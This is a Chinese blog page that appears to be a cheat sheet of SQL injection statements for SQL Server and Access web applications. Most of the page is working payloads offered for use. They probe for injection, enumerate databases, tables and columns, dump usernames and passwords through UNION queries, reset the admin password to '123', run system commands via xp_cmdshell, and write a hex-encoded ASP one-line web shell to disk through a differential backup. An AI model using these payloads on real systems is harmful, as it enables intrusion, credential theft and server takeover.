SQL注入常用语句
1、直接加' 2、and 1=1 3、 and
1=2
如果1、3运行异常 2正常就存在注入
字符型判断
1、直接加' 2、and '1'='1' 3、 and
'1'='2'
搜索型: 关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
如果1、3运行异常 2正常就存在注入
获取数据库版本
and (select @@version)>0
获取当前数据库名
and db_name()>0
获取当前数据库用户名
and user>0
and
user_name()='dbo'
猜解所有数据库名称
and (select count(*) from
master.dbo.sysdatabases where name>1 and dbid=6) <>0
猜解表的字段名称
and (Select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
and
(select top 1 asernaose from admin where id =1)>1
.asp?id=xx having 1=1
其中admin.id就是一个表名admin 一个列名id
.asp?id=xx group by admin.id having 1=1 可以得到列名
.asp?id=xx group by admin.id,admin.username having 1=1 得到另一个列名 页面要和表有联系
如果知道了表名和字段名就可以爆出准确的值
union select
1,2,username,password,5,6,7,8,9,10,11,12 from usertable where id=6
爆账号
union select min(username),1,1,1,.. from users where username > 'a'
依次循环爆其余的账号
union select min(username),1,1,1,.. from users where username
> 'admin'
;begin declare @ret varchar(8000) set @ret=':' select
@ret=@ret+' '+username+'/'+password from userstable where username>@ret
select @ret as ret into foo end
修改管理员的密码为123
.asp?id=××;update admin set
password='123' where id =1
.asp?id=××;insert into admin(asd,..)
values(123,..) –就能能往admin中写入123了
rebots.txt
猜解数据库中用户名表的名称
and
(select count(*) from 数据库.dbo.表名)>0
若表名存在,则工作正常,否则异常
得到用户名表的名称,基本的实现方法是
1:
and (select top 1 name from 数据库.dbo.sysobjects
where xtype='U' and status>0 )>0 或
and (Select Top 1 name from
sysobjects where xtype=’U’ and status>0)>0
但在异常中却可以发现表的名称。假设发现的表名是xyz,则
2:
and (select top 1 name from
数据库.dbo.sysobjects where xtype='U' and status>0 and name not
in('xyz','..'..))>0
可以得到第二个用户建立的表的名称,同理就可得到所有用建立的 表的名称
3:
and
(select top l name from (select top [N]id,name from bysobjects where
xtype=char(85)) T order by id desc)>1 N为数据库中地N个表
利用系统表区分数据库类型
and
(select count(*) from sysobjects)>0
and (select count(*) from
msysobjects)>0
若是SQL-SERVE则第一条,ACCESS则两条都会异常
判断是否有比较高的权限
and
1=(select is_srvrolemember('sysadmin'))
and 1=(select
is_srvrolemember('serveradmin'))
判断当前数据库用户名是否为db_owner:
and 1=(select
is_member('db_owner'))
xp_cmdshell
:exec master..xp_cmdshell '要执行的cmd命令'
判断长度
and (select top 1 len(字段) from 表名)>5
爆料出正确值
and (select
top 1 asc(substring(字段,1,1)) from 表名)>0
差异备份
//备份数据库到某处
;backup
database 数据库名 to disk ='c:\\charlog.bak';--
//创建名为datachar的表
;create
table [dbo].[datachar] ([cmd] [image])
cmd为列名 image 数据类型
//插入值,为一句话木马的16进制形式:<%execute(request("a"))%>
;insert into
datachar(cmd)values(0x3C25657865637574652872657175657374282261222929253E)—
//进行差异备份,把不同的信息备份到某处
;backup database 数据库名 to disk='目录' WITH
DIFFERENTIAL,FORMAT;--
SQL注入常用语句的更多相关文章
- SQL注入常用命令
1. 数据库查询版本 Mssql select @@version Mysql select vresion()/select @@version oracle select banner from ...
- SQL server 常用语句
SQL Server中常用的SQL语句 1.概述 2.查询概述 3.单表查询 4.连接查询 5.带有exists的相关子查询 6.SQL的集合操作 7.插入操作 8.删除操作 9.修改操作 10. ...
- 常见的SQL注入检测语句(转载)
0x00 前言 现在很多WAF都能拦截sqlmap.havij 等注入工具的发包注入,所以这时我们需要在浏览器上使用hackerbar 进行手工注入,或者说是手工绕过注入攻击 0x01 发现SQL 注 ...
- SQL注入常用函数(注入小白的学习笔记)
在盲注的情况下,往往需要一个一个字符的去猜解,即过程中需要截取字符串 在这里整理了一下一些常用函数 由于现阶段学习不够深入,整理分类不清楚具体,不过博主会慢慢进行完善 user() 查询当前数据库用户 ...
- SQL Server常用语句
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...
- sql数据库常用语句总结
1.增加字段 alter table docdsp add dspcodechar(200)2.删除字段 ALTER TABLE table_NAME DROP COLUMNc ...
- SQL的常用语句
select * from g_members where id between '16' and '31' order by id desc 倒序排列 select * from g_members ...
- SQL触发器 常用语句
一.创建一个简单的触发器 CREATE TRIGGER 触发器名称 ON 表名 FOR INSERT.UPDATE 或 DELETE AS T-SQL 语句 注意:触发器名称是不加引号的. ...
- (二)SQL注入常用的内置函数整理(以MySql为例)
[1]@@datadir 函数作用:返回数据库的存储目录构造SQL语句 select @@datadir; [2]@@version_compile_os 函数作用:查看服务器的操作系统SQL语句 ...
随机推荐
- Unsupported major.minor version 51.0(jdk版本错误)
解决方案: 步骤一: 在“项目”点右键->选择Perperties->在出现的菜单中选择Java Compiler->最上面选中Enable project Specific set ...
- NoSQL数据库有哪些
NoSQL太火,冒出太多产品了,保守估计也成百上千了. 互联网公司常用的基本集中在以下几种,每种只举一个比较常见或者应用比较成功的例子吧. 1. In-Memory KV Store : Redis ...
- Spring框架学习之第5节
request session global-session 三个在web开发中才有意义 如果配置成prototype有点类似于request 如果配置成singleton有点类似于web开发中的gl ...
- poj 1325 Machine Schedule 二分匹配,可以用最大流来做
题目大意:机器调度问题,同一个任务可以在A,B两台不同的机器上以不同的模式完成.机器的初始模式是mode_0,但从任何模式改变成另一个模式需要重启机器.求完成所有工作所需最少重启次数. ======= ...
- ubuntu 默认 进入 命令行
图形模式下,首先进入终端:1. 运行 sudo vi/etc/default/grub2. 找到 GRUB_CMDLINE_LINUX_DEFAULT=”quiet splash”3.改为 GRUB_ ...
- POJ 2114 - Boatherds
原题地址:http://poj.org/problem?id=2114 题目大意: 给定一棵点数为\(n~(n \le 10000)\)的无根树,路径上有权值,给出m组询问($m \le 100$), ...
- QQ互发消息
private NewsData data; private void button3_Click(object sender, EventArgs e) //发送 { string x = text ...
- HDU 1404 (博弈) Digital Deletions
首先如果第一个数字是0的话,那么先手必胜. 对于一个已知的先手必败状态,凡是能转移到先手必败的状态一定是必胜状态. 比如1是必败状态,那么2~9可以转移到1,所以是必胜状态. 10,10*,10**, ...
- HDU 2830 Matrix Swapping II
给一个矩阵,依然是求满足条件的最大子矩阵 不过题目中说任意两列可以交换,这是对题目的简化 求出h数组以后直接排序,然后找出(col-j)*h[j]的最大值即可(这里的j是从0开始) 因为排序会影响到h ...
- 纯CSS3大转盘抽奖(响应式、可配置)
源于前段时候微信小程序最初火爆公测时段,把以前用 Canvas 实现的大转盘抽奖移植成微信小程序,无奈当时小程序对 Canvas 支持不够完善,只好降低用 CSS3 实现.虽然比不上 Canvas 绘 ...